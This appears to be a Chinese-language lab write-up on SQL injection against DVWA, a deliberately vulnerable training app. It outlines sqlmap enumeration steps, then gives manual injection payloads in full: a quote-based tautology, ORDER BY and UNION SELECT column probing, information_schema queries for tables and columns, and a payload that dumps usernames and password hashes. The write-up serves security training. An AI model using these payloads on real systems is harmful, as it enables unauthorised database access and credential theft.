DVWA平台下Sql注入
Sql注入模块
-
输入一个数字,然后submit
-
F12查看Cookies
-
打开sqlmap,输入命令,查看数据库
-
查表
-
查表里数据
-
查看字段的数据
Sql手工注入
上面用的是sqlmap获取数据库信息,现在使用手工注入来获取数据库的信息。
思路:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
后端数据库语句:SELECT first_name, last_name FROM users WHERE user_id = '$id'
- 输入1,查询成功
输入1' or '1'='1
,返回了多个结果,说明存在字符型注入
传到后端语句变为:SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'
- 输入
1' or 1=1 order by 2 #
,查询成功。输入1' or 1=1 order by 3 #
,查询失败。说明字段为2。
也可以通过输入1' union select 1,2 #
来猜解字段数
-
获取当前数据库,输入
1' union select 1,database() #
,查询成功。当前的数据库为dvwa -
获取数据库中的表
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
,查询成功。数据库dvwa中一共有两个表,guestbook与users -
获取表中的字段名
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
,查询成功。users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login -
下载数据。
输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
,查询成功